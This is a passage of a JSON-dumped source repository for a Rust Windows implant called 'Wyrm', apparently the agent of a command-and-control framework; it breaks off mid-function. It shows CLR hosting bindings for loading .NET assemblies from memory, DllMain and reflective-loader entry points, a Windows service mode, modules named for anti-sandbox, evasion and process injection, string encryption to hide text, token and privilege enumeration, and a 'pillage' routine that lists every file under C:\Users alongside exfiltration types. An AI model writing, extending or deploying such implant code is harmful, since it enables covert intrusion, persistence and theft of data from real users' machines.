fn(this: *mut ICorRuntimeHost) -> i32,\n    pub CreateDomain: unsafe extern \"system\" fn(\n        this: *mut ICorRuntimeHost,\n        pwzFriendlyName: *const u16,\n        pIdentityArray: *mut IUnknown,\n        pAppDomain: *mut *mut IUnknown,\n    ) -> i32,\n    pub GetDefaultDomain: unsafe extern \"system\" fn(\n        this: *mut ICorRuntimeHost,\n        pAppDomain: *mut *mut IUnknown,\n    ) -> i32,\n    pub EnumDomains:\n        unsafe extern \"system\" fn(this: *mut ICorRuntimeHost, hEnum: *mut *mut c_void) -> i32,\n    pub NextDomain: unsafe extern \"system\" fn(\n        this: *mut ICorRuntimeHost,\n        hEnum: *mut c_void,\n        pAppDomain: *mut *mut IUnknown,\n    ) -> i32,\n    pub CloseEnum: unsafe extern \"system\" fn(this: *mut ICorRuntimeHost, hEnum: *mut c_void) -> i32,\n    pub CreateDomainEx: unsafe extern \"system\" fn(\n        this: *mut ICorRuntimeHost,\n        pwzFriendlyName: *const u16,\n        pSetup: *mut IUnknown,\n        pEvidence: *mut IUnknown,\n        pAppDomain: *mut *mut IUnknown,\n    ) -> i32,\n    pub CreateDomainSetup: unsafe extern \"system\" fn(\n        this: *mut ICorRuntimeHost,\n        pAppDomain: *mut *mut IUnknown,\n    ) -> i32,\n    pub CreateEvidence:\n        unsafe extern \"system\" fn(this: *mut ICorRuntimeHost, pEvidence: *mut *mut IUnknown) -> i32,\n    pub UnloadDomain:\n        unsafe extern \"system\" fn(this: *mut ICorRuntimeHost, pAppDomain: *mut IUnknown) -> i32,\n    pub CurrentDomain: unsafe extern \"system\" fn(\n        this: *mut ICorRuntimeHost,\n        pAppDomain: *mut *mut IUnknown,\n    ) -> i32,\n}\n\n#[repr(C)]\npub struct ICLRRuntimeInfo {\n    pub vtable: *const ICLRRuntimeInfoVtbl,\n}\n\n#[repr(C)]\npub struct ICLRRuntimeInfoVtbl {\n    pub parent: IUnknownVtbl,\n    pub GetVersionString: unsafe extern \"system\" fn(\n        this: *mut ICLRRuntimeInfo,\n        pwzBuffer: *mut u16,\n        pcchBuffer: *mut u32,\n    ) -> i32,\n    pub GetRuntimeDirectory: unsafe extern \"system\" fn(\n        this: *mut ICLRRuntimeInfo,\n        pwzBuffer: *mut u16,\n        pcchBuffer: *mut u32,\n    ) -> i32,\n    pub IsLoaded: unsafe extern \"system\" fn(\n        this: *mut ICLRRuntimeInfo,\n        hndProcess: HANDLE,\n        pbLoaded: *mut BOOL,\n    ) -> i32,\n    pub LoadErrorString: unsafe extern \"system\" fn(\n        this: *mut ICLRRuntimeInfo,\n        iResourceID: u32,\n        pwzBuffer: *mut u16,\n        pcchBuffer: *mut u32,\n        iLocaleID: u32,\n    ) -> i32,\n    pub LoadLibrary: unsafe extern \"system\" fn(\n        this: *mut ICLRRuntimeInfo,\n        pwzDllName: *const u16,\n        ppProc: *mut *mut c_void,\n    ) -> i32,\n    pub GetProcAddress: unsafe extern \"system\" fn(\n        this: *mut ICLRRuntimeInfo,\n        pszProcName: *const i8,\n        ppProc: *mut *mut c_void,\n    ) -> i32,\n    pub GetInterface: unsafe extern \"system\" fn(\n        this: *mut ICLRRuntimeInfo,\n        rclsid: *const GUID,\n        riid: *const GUID,\n        ppUnk: *mut *mut c_void,\n    ) -> i32,\n    pub IsLoadable:\n        unsafe extern \"system\" fn(this: *mut ICLRRuntimeInfo, pbLoadable: *mut BOOL) -> i32,\n    pub SetDefaultStartupFlags: unsafe extern \"system\" fn(\n        this: *mut ICLRRuntimeInfo,\n        dwStartupFlags: u32,\n        pwzHostConfigFile: *const u16,\n    ) -> i32,\n    pub GetDefaultStartupFlags: unsafe extern \"system\" fn(\n        this: *mut ICLRRuntimeInfo,\n        pdwStartupFlags: *mut u32,\n        pwzHostConfigFile: *mut u16,\n        pcchHostConfigFile: *mut u32,\n    ) -> i32,\n    pub BindAsLegacyV2Runtime: unsafe extern \"system\" fn(this: *mut ICLRRuntimeInfo) -> i32,\n    pub IsStarted: unsafe extern \"system\" fn(\n        this: *mut ICLRRuntimeInfo,\n        pbStarted: *mut BOOL,\n        pdwStartupFlags: *mut u32,\n    ) -> i32,\n}\n\n#[repr(C)]\npub struct _AppDomain {\n    pub vtable: *const _AppDomainVtbl,\n}\n\n#[repr(C)]\npub struct _AppDomainVtbl {\n    pub parent: IUnknownVtbl,\n    pub GetTypeInfoCount: *const c_void,\n    pub GetTypeInfo: *const c_void,\n    pub GetIDsOfNames: *const c_void,\n    pub Invoke: *const c_void,\n    pub ToString: unsafe extern \"system\" fn(this: *mut c_void, pRetVal: *mut *mut u16) -> i32,\n    pub Equals: *const c_void,\n    pub GetHashCode: unsafe extern \"system\" fn(this: *mut c_void, pRetVal: *mut c_long) -> i32,\n    pub GetType: unsafe extern \"system\" fn(this: *mut c_void, pRetVal: *mut *mut c_void) -> i32,\n    pub InitializeLifetimeService: *const c_void,\n    pub GetLifetimeService: *const c_void,\n    pub get_Evidence: *const c_void,\n    pub set_Evidence: *const c_void,\n    pub get_DomainUnload: *const c_void,\n    pub set_DomainUnload: *const c_void,\n    pub get_AssemblyLoad: *const c_void,\n    pub set_AssemblyLoad: *const c_void,\n    pub get_ProcessExit: *const c_void,\n    pub set_ProcessExit: *const c_void,\n    pub get_TypeResolve: *const c_void,\n    pub set_TypeResolve: *const c_void,\n    pub get_ResourceResolve: *const c_void,\n    pub set_ResourceResolve: *const c_void,\n    pub get_AssemblyResolve: *const c_void,\n    pub get_UnhandledException: *const c_void,\n    pub set_UnhandledException: *const c_void,\n    pub DefineDynamicAssembly: *const c_void,\n    pub DefineDynamicAssembly_2: *const c_void,\n    pub DefineDynamicAssembly_3: *const c_void,\n    pub DefineDynamicAssembly_4: *const c_void,\n    pub DefineDynamicAssembly_5: *const c_void,\n    pub DefineDynamicAssembly_6: *const c_void,\n    pub DefineDynamicAssembly_7: *const c_void,\n    pub DefineDynamicAssembly_8: *const c_void,\n    pub DefineDynamicAssembly_9: *const c_void,\n    pub CreateInstance: *const c_void,\n    pub CreateInstanceFrom: *const c_void,\n    pub CreateInstance_2: *const c_void,\n    pub CreateInstanceFrom_2: *const c_void,\n    pub CreateInstance_3: *const c_void,\n    pub CreateInstanceFrom_3: *const c_void,\n    pub Load: *const c_void,\n    pub Load_2: unsafe extern \"system\" fn(\n        this: *mut c_void,\n        assemblyString: *mut u16,\n        pRetVal: *mut *mut _Assembly,\n    ) -> i32,\n    pub Load_3: unsafe extern \"system\" fn(\n        this: *mut c_void,\n        rawAssembly: *mut SAFEARRAY,\n        pRetVal: *mut *mut _Assembly,\n    ) -> i32,\n    pub Load_4: *const c_void,\n    pub Load_5: *const c_void,\n    pub Load_6: *const c_void,\n    pub Load_7: *const c_void,\n    pub ExecuteAssembly: *const c_void,\n    pub ExecuteAssembly_2: *const c_void,\n    pub ExecuteAssembly_3: *const c_void,\n    pub get_FriendlyName: *const c_void,\n    pub get_BaseDirectory: *const c_void,\n    pub get_RelativeSearchPath: *const c_void,\n    pub get_ShadowCopyFiles: *const c_void,\n    pub GetAssemblies: *const c_void,\n    pub AppendPrivatePath: *const c_void,\n    pub ClearPrivatePath: *const c_void,\n    pub ClearShadowCopyPath: *const c_void,\n    pub SetData: *const c_void,\n    pub GetData: *const c_void,\n    pub SetAppDomainPolicy: *const c_void,\n    pub SetThreadPrincipal: *const c_void,\n    pub SetPrincipalPolicy: *const c_void,\n    pub DoCallBack: *const c_void,\n    pub get_DynamicDirectory: *const c_void,\n}\n\n#[repr(C)]\npub struct _Assembly {\n    pub vtable: *const _AssemblyVtbl,\n}\n\n#[repr(C)]\npub struct _AssemblyVtbl {\n    pub parent: IUnknownVtbl,\n    pub GetTypeInfoCount: *const c_void,\n    pub GetTypeInfo: *const c_void,\n    pub GetIDsOfNames: *const c_void,\n    pub Invoke: *const c_void,\n    pub ToString: unsafe extern \"system\" fn(this: *mut c_void, pRetVal: *mut *mut u16) -> i32,\n    pub Equals: *const c_void,\n    pub GetHashCode: unsafe extern \"system\" fn(this: *mut c_void, pRetVal: *mut c_long) -> i32,\n    pub GetType: unsafe extern \"system\" fn(this: *mut c_void, pRetVal: *mut *mut c_void) -> i32,\n    pub get_CodeBase: unsafe extern \"system\" fn(this: *mut c_void, pRetVal: *mut *mut u16) -> i32,\n    pub get_EscapedCodeBase:\n        unsafe extern \"system\" fn(this: *mut c_void, pRetVal: *mut *mut u16) -> i32,\n    pub GetName: unsafe extern \"system\" fn(this: *mut c_void, pRetVal: *mut *mut c_void) -> i32,\n    pub GetName_2: *const c_void,\n    pub get_FullName: unsafe extern \"system\" fn(this: *mut c_void, pRetVal: *mut *mut u16) -> i32,\n    pub get_EntryPoint:\n        unsafe extern \"system\" fn(this: *mut c_void, pRetVal: *mut *mut _MethodInfo) -> i32,\n    pub GetType_2: unsafe extern \"system\" fn(\n        this: *mut c_void,\n        name: *mut u16,\n        pRetVal: *mut *mut c_void,\n    ) -> i32,\n    pub GetType_3: *const c_void,\n    pub GetExportedTypes: *const c_void,\n    pub GetTypes: unsafe extern \"system\" fn(this: *mut c_void, pRetVal: *mut *mut SAFEARRAY) -> i32,\n    pub GetManifestResourceStream: *const c_void,\n    pub GetManifestResourceStream_2: *const c_void,\n    pub GetFile: *const c_void,\n    pub GetFiles: *const c_void,\n    pub GetFiles_2: *const c_void,\n    pub GetManifestResourceNames: *const c_void,\n    pub GetManifestResourceInfo: *const c_void,\n    pub get_Location: unsafe extern \"system\" fn(this: *mut c_void, pRetVal: *mut *mut u16) -> i32,\n    pub get_Evidence: *const c_void,\n    pub GetCustomAttributes: *const c_void,\n    pub GetCustomAttributes_2: *const c_void,\n    pub IsDefined: *const c_void,\n    pub GetObjectData: *const c_void,\n    pub add_ModuleResolve: *const c_void,\n    pub remove_ModuleResolve: *const c_void,\n    pub GetType_4: *const c_void,\n    pub GetSatelliteAssembly: *const c_void,\n    pub GetSatelliteAssembly_2: *const c_void,\n    pub LoadModule: *const c_void,\n    pub LoadModule_2: *const c_void,\n    pub CreateInstance: unsafe extern \"system\" fn(\n        this: *mut c_void,\n        typeName: *mut u16,\n        pRetVal: *mut VARIANT,\n    ) -> i32,\n    pub CreateInstance_2: *const c_void,\n    pub CreateInstance_3: *const c_void,\n    pub GetLoadedModules: *const c_void,\n    pub GetLoadedModules_2: *const c_void,\n    pub GetModules: *const c_void,\n    pub GetModules_2: *const c_void,\n    pub GetModule: *const c_void,\n    pub GetReferencedAssemblies: *const c_void,\n    pub get_GlobalAssemblyCache: *const c_void,\n}\n\n#[repr(C)]\npub struct _MethodInfo {\n    pub vtable: *const _MethodInfoVtbl,\n}\n\n#[repr(C)]\npub struct _MethodInfoVtbl {\n    pub parent: IUnknownVtbl,\n    pub GetTypeInfoCount: *const c_void,\n    pub GetTypeInfo: *const c_void,\n    pub GetIDsOfNames: *const c_void,\n    pub Invoke: *const c_void,\n    pub ToString: unsafe extern \"system\" fn(this: *mut c_void, pRetVal: *mut *mut u16) -> i32,\n    pub Equals: *const c_void,\n    pub GetHashCode: unsafe extern \"system\" fn(this: *mut c_void, pRetVal: *mut c_long) -> i32,\n    pub GetType: unsafe extern \"system\" fn(this: *mut c_void, pRetVal: *mut *mut c_void) -> i32,\n    pub get_MemberType: *const c_void,\n    pub get_name: unsafe extern \"system\" fn(this: *mut c_void, pRetVal: *mut *mut u16) -> i32,\n    pub get_DeclaringType: *const c_void,\n    pub get_ReflectedType: *const c_void,\n    pub GetCustomAttributes: *const c_void,\n    pub GetCustomAttributes_2: *const c_void,\n    pub IsDefined: *const c_void,\n    pub GetParameters:\n        unsafe extern \"system\" fn(this: *mut c_void, pRetVal: *mut *mut SAFEARRAY) -> i32,\n    pub GetMethodImplementationFlags: *const c_void,\n    pub get_MethodHandle: *const c_void,\n    pub get_Attributes: *const c_void,\n    pub get_CallingConvention: *const c_void,\n    pub Invoke_2: *const c_void,\n    pub get_IsPublic: *const c_void,\n    pub get_IsPrivate: *const c_void,\n    pub get_IsFamily: *const c_void,\n    pub get_IsAssembly: *const c_void,\n    pub get_IsFamilyAndAssembly: *const c_void,\n    pub get_IsFamilyOrAssembly: *const c_void,\n    pub get_IsStatic: *const c_void,\n    pub get_IsFinal: *const c_void,\n    pub get_IsVirtual: *const c_void,\n    pub get_IsHideBySig: *const c_void,\n    pub get_IsAbstract: *const c_void,\n    pub get_IsSpecialName: *const c_void,\n    pub get_IsConstructor: *const c_void,\n    pub Invoke_3: unsafe extern \"system\" fn(\n        this: *mut c_void,\n        obj: VARIANT,\n        parameters: *mut SAFEARRAY,\n        pRetVal: *mut VARIANT,\n    ) -> i32,\n    pub get_returnType: *const c_void,\n    pub get_ReturnTypeCustomAttributes: *const c_void,\n    pub GetBaseDefinition:\n        unsafe extern \"system\" fn(this: *mut c_void, pRetVal: *mut *mut _MethodInfo) -> i32,\n}\n"
  },
  {
    "path": "implant/src/execute/mod.rs",
    "content": "pub mod dotnet;\nmod ffi;\n"
  },
  {
    "path": "implant/src/lib.rs",
    "content": "#![feature(string_remove_matches)]\n#![feature(core_float_math)]\n#![feature(const_option_ops)]\n#![feature(const_trait_impl)]\n\nuse windows_sys::Win32::{\n    Foundation::{HINSTANCE, TRUE},\n    System::SystemServices::DLL_PROCESS_ATTACH,\n};\n\nuse crate::utils::{\n    allocate::ProcessHeapAlloc,\n    export_comptime::{StartType, internal_dll_start},\n};\n\nmod anti_sandbox;\nmod comms;\nmod entry;\nmod evasion;\nmod execute;\nmod native;\nmod spawn_inject;\nmod stubs;\nmod utils;\nmod wofs;\nmod wyrm;\n\n#[global_allocator]\nstatic GLOBAL_ALLOC: ProcessHeapAlloc = ProcessHeapAlloc;\n\n#[unsafe(no_mangle)]\n#[allow(non_snake_case)]\nunsafe extern \"system\" fn DllMain(_hmod_instance: HINSTANCE, dw_reason: u32, _: usize) -> i32 {\n    match dw_reason {\n        DLL_PROCESS_ATTACH => internal_dll_start(StartType::DllMain),\n        _ => (),\n    }\n\n    TRUE\n}\n\n#[unsafe(no_mangle)]\n#[allow(non_snake_case)]\n/// The start function which is required for the rDLL loader to enter Wyrm\nunsafe extern \"system\" fn Start() {\n    internal_dll_start(StartType::Rdl);\n}\n"
  },
  {
    "path": "implant/src/main.rs",
    "content": "#![feature(string_remove_matches)]\n#![feature(core_float_math)]\n#![feature(const_option_ops)]\n#![feature(const_trait_impl)]\n\n#[global_allocator]\nstatic GLOBAL_ALLOC: ProcessHeapAlloc = ProcessHeapAlloc;\n\nuse entry::start_wyrm;\n\nuse crate::utils::allocate::ProcessHeapAlloc;\n\nmod anti_sandbox;\nmod comms;\nmod entry;\nmod evasion;\nmod execute;\nmod native;\nmod spawn_inject;\nmod stubs;\nmod utils;\nmod wofs;\nmod wyrm;\n\nfn main() {\n    start_wyrm();\n}\n"
  },
  {
    "path": "implant/src/main_svc.rs",
    "content": "#![feature(string_remove_matches)]\n#![feature(core_float_math)]\n#![feature(const_option_ops)]\n#![feature(const_trait_impl)]\n\n#[global_allocator]\nstatic GLOBAL_ALLOC: ProcessHeapAlloc = ProcessHeapAlloc;\n\nuse core::sync::atomic::Ordering;\n\nuse entry::start_wyrm;\nuse windows_sys::{\n    Win32::{\n        Foundation::FALSE,\n        System::Services::{\n            RegisterServiceCtrlHandlerW, SERVICE_CONTROL_STOP, SERVICE_RUNNING,\n            SERVICE_TABLE_ENTRYW, StartServiceCtrlDispatcherW,\n        },\n    },\n    core::PWSTR,\n};\n\nuse crate::{\n    entry::IS_IMPLANT_SVC,\n    utils::{\n        allocate::ProcessHeapAlloc,\n        svc_controls::{SERVICE_HANDLE, SERVICE_STOP_EVENT, update_service_status},\n    },\n};\n\nmod anti_sandbox;\nmod comms;\nmod entry;\nmod evasion;\nmod execute;\nmod native;\nmod spawn_inject;\nmod stubs;\nmod utils;\nmod wofs;\nmod wyrm;\n\n/// Creates a service binary name, based on the malleable profile (or unwrap at comptime). The macro\n/// returns a PWSTR (*mut u16) which can be used in place of a PWSTR in windows_sys\nmacro_rules! service_name_pwstr {\n    () => {{\n        let svc_name = option_env!(\"SVC_NAME\").unwrap();\n        let mut svc_name = svc_name.to_string();\n        svc_name.push('\\0');\n        let mut svc_name_wide: Vec<u16> = svc_name.encode_utf16().collect();\n        PWSTR::from(svc_name_wide.as_mut_ptr())\n    }};\n}\n\n#[unsafe(no_mangle)]\npub unsafe extern \"system\" fn ServiceMain(_: u32, _: *mut PWSTR) {\n    svc_start();\n}\n\nfn svc_start() {\n    // register the service with SCM\n    let h_svc =\n        unsafe { RegisterServiceCtrlHandlerW(service_name_pwstr!(), Some(service_handler)) };\n    if h_svc.is_null() {\n        return;\n    }\n\n    IS_IMPLANT_SVC.store(true, Ordering::SeqCst);\n    SERVICE_HANDLE.store(h_svc, Ordering::SeqCst);\n\n    unsafe { update_service_status(h_svc, SERVICE_RUNNING) }\n\n    start_wyrm();\n}\n\nunsafe extern \"system\" fn service_handler(control: u32) {\n    match control {\n        SERVICE_CONTROL_STOP => {\n            // TODO, do we want actual stop control to work?\n            SERVICE_STOP_EVENT.store(true, Ordering::SeqCst);\n        }\n        _ => {}\n    }\n}\n\nfn main() {\n    let service_table = [\n        SERVICE_TABLE_ENTRYW {\n            lpServiceName: service_name_pwstr!(),\n            lpServiceProc: Some(ServiceMain),\n        },\n        SERVICE_TABLE_ENTRYW::default(),\n    ];\n\n    unsafe {\n        if StartServiceCtrlDispatcherW(service_table.as_ptr()) == FALSE {\n            return;\n        }\n    }\n}\n"
  },
  {
    "path": "implant/src/native/Readme.md",
    "content": "# Native\n\nThis module clusters native interactions with the OS where the activity relates to implant\nactions; as opposed to generic implant info that is found at the top level in src"
  },
  {
    "path": "implant/src/native/accounts.rs",
    "content": "use std::{ffi::c_void, fmt::Display, mem::transmute, ptr::null_mut, slice::from_raw_parts};\n\nuse serde::Serialize;\nuse shared::tasks::WyrmResult;\nuse str_crypter::{decrypt_string, sc};\nuse windows_sys::{\n    Win32::{\n        Foundation::{CloseHandle, GetLastError, HANDLE, LUID, LocalFree},\n        Globalization::lstrlenW,\n        NetworkManagement::NetManagement::UNLEN,\n        Security::{\n            Authorization::ConvertSidToStringSidW, GetSidSubAuthority, GetSidSubAuthorityCount,\n            GetTokenInformation, LookupAccountSidW, LookupPrivilegeNameW, PSID,\n            SE_PRIVILEGE_ENABLED, SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_REMOVED,\n            TOKEN_MANDATORY_LABEL, TOKEN_PRIVILEGES, TOKEN_QUERY, TOKEN_USER, TokenIntegrityLevel,\n            TokenPrivileges, TokenUser,\n        },\n        System::{\n            SystemServices::{\n                SECURITY_MANDATORY_HIGH_RID, SECURITY_MANDATORY_LOW_RID,\n                SECURITY_MANDATORY_MEDIUM_RID, SECURITY_MANDATORY_SYSTEM_RID,\n                SECURITY_MANDATORY_UNTRUSTED_RID,\n            },\n            Threading::{GetCurrentProcess, OpenProcessToken},\n            WindowsProgramming::GetUserNameW,\n        },\n    },\n    core::PWSTR,\n};\n\nuse crate::utils::console::print_failed;\n\npub fn get_logged_in_username() -> Option<impl Serialize> {\n    let buf = [0u16; UNLEN as usize];\n    let mut len: u32 = UNLEN;\n    let result = unsafe { GetUserNameW(PWSTR::from(buf.as_ptr() as *mut _), &mut len) };\n\n    if result == 0 {\n        #[cfg(debug_assertions)]\n        println!(\"[-] Could not get logged in user details. {}\", unsafe {\n            GetLastError()\n        });\n\n        return None;\n    }\n\n    // Use the returned count of TCHARS (num chars not bytes) -1 for the null to get a String of the\n    // username\n    let un = if result == 0 || len == 0 {\n        sc!(\"UNKNOWN\", 75).unwrap()\n    } else {\n        String::from_utf16_lossy(&buf[0..len as usize - 1])\n    };\n\n    Some(un)\n}\n\npub enum ProcessIntegrityLevel {\n    Unknown,\n    Untrusted,\n    Low,\n    Medium,\n    High,\n    System,\n}\n\nimpl Display for ProcessIntegrityLevel {\n    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {\n        match self {\n            ProcessIntegrityLevel::Untrusted => write!(f, \"untrusted\"),\n            ProcessIntegrityLevel::Low => write!(f, \"low\"),\n            ProcessIntegrityLevel::Medium => write!(f, \"medium\"),\n            ProcessIntegrityLevel::High => write!(f, \"high\"),\n            ProcessIntegrityLevel::System => write!(f, \"system\"),\n            ProcessIntegrityLevel::Unknown => write!(f, \"unknown\"),\n        }\n    }\n}\n\npub fn get_process_integrity_level() -> Option<ProcessIntegrityLevel> {\n    let mut token_handle: HANDLE = HANDLE::default();\n\n    if unsafe { OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &mut token_handle) } == 0 {\n        #[cfg(debug_assertions)]\n        print_failed(format!(\"Failed to open process token. {:#X}\", unsafe {\n            GetLastError()\n        }));\n\n        return None;\n    }\n\n    let mut sz = 0;\n\n    // purposefully fails\n    let _ =\n        unsafe { GetTokenInformation(token_handle, TokenIntegrityLevel, null_mut(), 0, &mut sz) };\n\n    let buffer: Vec<u8> = Vec::with_capacity(sz as _);\n\n    if unsafe {\n        GetTokenInformation(\n            token_handle,\n            TokenIntegrityLevel,\n            buffer.as_ptr() as *mut c_void,\n            sz,\n            &mut sz,\n        )\n    } == 0\n    {\n        #[cfg(debug_assertions)]\n        print_failed(format!(\"Failed to GetTokenInformation2. {:#X}\", unsafe {\n            GetLastError()\n        }));\n\n        return None;\n    };\n\n    let token = unsafe { *transmute::<*const u8, *const TOKEN_MANDATORY_LABEL>(buffer.as_ptr()) };\n\n    let count = unsafe { *GetSidSubAuthorityCount(token.Label.Sid) } as u32;\n    let rid = unsafe { *GetSidSubAuthority(token.Label.Sid, count - 1) };\n\n    if rid > i32::MAX as u32 {\n        #[cfg(debug_assertions)]\n        print_failed(format!(\n            \"RID was greater than i32 max, refusing to convert. Got: {rid}\"\n        ));\n\n        return None;\n    }\n\n    match rid as i32 {\n        SECURITY_MANDATORY_UNTRUSTED_RID => Some(ProcessIntegrityLevel::Untrusted),\n        SECURITY_MANDATORY_LOW_RID => Some(ProcessIntegrityLevel::Low),\n        SECURITY_MANDATORY_MEDIUM_RID => Some(ProcessIntegrityLevel::Medium),\n        SECURITY_MANDATORY_HIGH_RID => Some(ProcessIntegrityLevel::High),\n        SECURITY_MANDATORY_SYSTEM_RID => Some(ProcessIntegrityLevel::System),\n        _ => {\n            #[cfg(debug_assertions)]\n            print_failed(format!(\"Could not match RID. Got: {rid}\"));\n\n            None\n        }\n    }\n}\n\npub fn whoami() -> Option<impl Serialize> {\n    let mut h_tok = null_mut();\n    let res = unsafe { OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &mut h_tok) };\n\n    if res == 0 {\n        let s = format!(\n            \"{}\",\n            sc!(\"Failed to get token handle when querying token.\", 74).unwrap()\n        );\n        unsafe { CloseHandle(h_tok) };\n        return Some(WyrmResult::Err(s));\n    }\n    let mut sz = 0;\n\n    // purposefully fails\n    let _ = unsafe { GetTokenInformation(h_tok, TokenUser, null_mut(), 0, &mut sz) };\n\n    let buffer: Vec<u8> = Vec::with_capacity(sz as _);\n\n    if unsafe {\n        GetTokenInformation(\n            h_tok,\n            TokenUser,\n            buffer.as_ptr() as *mut c_void,\n            sz,\n            &mut sz,\n        )\n    } == 0\n    {\n        let s = format!(\n            \"{}. {:#X}\",\n            sc!(\"Failed to GetTokenInformation\", 63).unwrap(),\n            unsafe { GetLastError() }\n        );\n\n        unsafe { CloseHandle(h_tok) };\n        return Some(WyrmResult::Err(s));\n    };\n\n    let token = unsafe { *transmute::<*const u8, *const TOKEN_USER>(buffer.as_ptr()) };\n\n    let (user, domain) = match lookup_account_sid_w(token.User.Sid) {\n        Ok((u, d)) => (u, d),\n        Err(e) => {\n            let s = format!(\n                \"{} {e:#X}\",\n                sc!(\"Failed to lookup account sid.\", 91).unwrap()\n            );\n\n            unsafe { CloseHandle(h_tok) };\n            return Some(WyrmResult::Err(s));\n        }\n    };\n\n    let mut p_sid_str_raw = null_mut();\n    let res = unsafe { ConvertSidToStringSidW(token.User.Sid, &mut p_sid_str_raw) };\n\n    if res == 0 {\n        let s = format!(\n            \"{} {:#X}\",\n            sc!(\"Error converting SID to String.\", 51).unwrap(),\n            unsafe { GetLastError() }\n        );\n\n        unsafe { CloseHandle(h_tok) };\n        unsafe { LocalFree(p_sid_str_raw as *mut _) };\n\n        return Some(WyrmResult::Err(s));\n    }\n\n    let sid_string = {\n        let len = unsafe { lstrlenW(p_sid_str_raw) };\n        if len > 0 {\n            let slice = unsafe { from_raw_parts(p_sid_str_raw, len as _) };\n            String::from_utf16_lossy(slice)\n        } else {\n            String::from(\"Error\")\n        }\n    };\n\n    unsafe { LocalFree(p_sid_str_raw as *mut _) };\n    let mut msg = format!(\"{:<30} SID\\n\", sc!(\"Domain\\\\Username\", 81).unwrap());\n    msg.push_str(&format!(\"{:<30} -----\\n\", \"----------------\"));\n\n    let domain_user_concat = format!(\"{}\\\\{}\", domain, user);\n    msg.push_str(&format!(\"{:<30} {}\\n\", domain_user_concat, sid_string));\n\n    let permissions = match format_token_permissions(h_tok) {\n        WyrmResult::Ok(p) => p,\n        WyrmResult::Err(e) => {\n            unsafe { CloseHandle(h_tok) };\n            return Some(WyrmResult::Err(e));\n        }\n    };\n\n    msg.push_str(&permissions);\n\n    unsafe { CloseHandle(h_tok) };\n    Some(WyrmResult::Ok(msg))\n}\n\nfn format_token_permissions(h_tok: *mut c_void) -> WyrmResult<String> {\n    let mut sz = 0;\n\n    // purposefully fails\n    let _ = unsafe { GetTokenInformation(h_tok, TokenPrivileges, null_mut(), 0, &mut sz) };\n\n    let buffer: Vec<u8> = Vec::with_capacity(sz as _);\n\n    if unsafe {\n        GetTokenInformation(\n            h_tok,\n            TokenPrivileges,\n            buffer.as_ptr() as *mut c_void,\n            sz,\n            &mut sz,\n        )\n    } == 0\n    {\n        let s = format!(\n            \"{}. {:#X}\",\n            sc!(\"Failed to GetTokenInformation\", 63).unwrap(),\n            unsafe { GetLastError() }\n        );\n\n        unsafe { CloseHandle(h_tok) };\n        return WyrmResult::Err(s);\n    };\n\n    let tp = buffer.as_ptr() as *const TOKEN_PRIVILEGES;\n    let count = unsafe { (*tp).PrivilegeCount } as usize;\n\n    let base = unsafe { (*tp).Privileges.as_ptr() };\n    let entries = unsafe { std::slice::from_raw_parts(base, count) };\n\n    let mut builder = String::new();\n    builder.push_str(&format!(\"{:<60}\\n\", \"-\"));\n    builder.push_str(&format!(\"{:<60}\\n\", \"-\"));\n    builder.push_str(&format!(\"{:<60} State\\n\", \"Privilege\"));\n    builder.push_str(&format!(\"{:<60} -------\\n\", \"-----------\"));\n\n    for laa in entries {\n        let luid = laa.Luid;\n        let attr = laa.Attributes;\n        let name = luid_to_name(&luid);\n        let state = attrs_to_state(attr);\n        builder.push_str(&format!(\"{:<60} {}\\n\", name, state));\n    }\n\n    WyrmResult::Ok(builder)\n}\n\nfn luid_to_name(luid: &LUID) -> String {\n    let mut len: u32 = 0;\n\n    let _ = unsafe { LookupPrivilegeNameW(null_mut(), luid, null_mut(), &mut len) };\n\n    let mut buf: Vec<u16> = vec![0u16; len as usize];\n\n    let res = unsafe { LookupPrivilegeNameW(null_mut(), luid, buf.as_mut_ptr(), &mut len) };\n\n    if res == 0 {\n        return format!(\"<LookupPrivilegeNameW failed: {:#X}>\", unsafe {\n            GetLastError()\n        });\n    }\n\n    let len = unsafe { lstrlenW(buf.as_ptr()) };\n\n    if len > 0 {\n        let slice = unsafe { from_raw_parts(buf.as_ptr(), len as _) };\n        String::from_utf16_lossy(slice)\n    } else {\n        String::from(\"Error\")\n    }\n}\n\nfn attrs_to_state(attrs: u32) -> &'static str {\n    if (attrs & SE_PRIVILEGE_REMOVED) != 0 {\n        \"Removed\"\n    } else if (attrs & SE_PRIVILEGE_ENABLED) != 0 {\n        \"Enabled\"\n    } else if (attrs & SE_PRIVILEGE_ENABLED_BY_DEFAULT) != 0 {\n        \"Enabled by Default\"\n    } else {\n        \"Disabled\"\n    }\n}\n\nfn lookup_account_sid_w(psid: PSID) -> Result<(String, String), u32> {\n    const BUF_SIZE: u32 = 1024;\n    let mut name_sz: u32 = BUF_SIZE;\n    let mut domain_sz: u32 = BUF_SIZE;\n\n    let mut name_buf: Vec<u16> = vec![0; name_sz as usize];\n    let mut domain_buf: Vec<u16> = vec![0; domain_sz as usize];\n\n    let mut sid_name = 0;\n\n    let result = unsafe {\n        LookupAccountSidW(\n            null_mut(),\n            psid,\n            name_buf.as_mut_ptr(),\n            &mut name_sz,\n            domain_buf.as_mut_ptr(),\n            &mut domain_sz,\n            &mut sid_name,\n        )\n    };\n\n    if result != 0 {\n        let name = String::from_utf16_lossy(&name_buf[..(name_sz as usize)]);\n        let domain = String::from_utf16_lossy(&domain_buf[..(domain_sz as usize)]);\n        return Ok((name, domain));\n    }\n\n    return Err(unsafe { GetLastError() });\n}\n"
  },
  {
    "path": "implant/src/native/filesystem.rs",
    "content": "use std::{\n    fs::{self, File},\n    io::{self, Write},\n    path::{Path, PathBuf},\n};\n\nuse serde::Serialize;\nuse shared::tasks::{ExfiltratedFile, FileDropMetadata, WyrmResult};\nuse str_crypter::{decrypt_string, sc};\n\nuse crate::utils::console::print_failed;\n\nuse crate::{\n    comms::download_file_with_uri_in_memory,\n    wyrm::{Wyrm, get_hostname},\n};\n\npub fn pillage() -> Option<impl Serialize> {\n    // todo other drive discovery would be good too\n    let doc_root = PathBuf::from(r\"C:\\Users\");\n\n    let mut listings: Vec<String> = Vec::new();\n\n    if let Err(e) = get_file_listings_from_dir_and_subdirs(doc_root, &mut listings) {\n        #[cfg(debug_assertions)]\n        println!(\"[-] Error reading directories. {e}\");\n    }\n\n    if listings.is_empty() {\n        return None;\n    }\n\n    Some(listings)\n}\n\nfn get_file_listings_from_dir_and_subdirs(\n    dir: 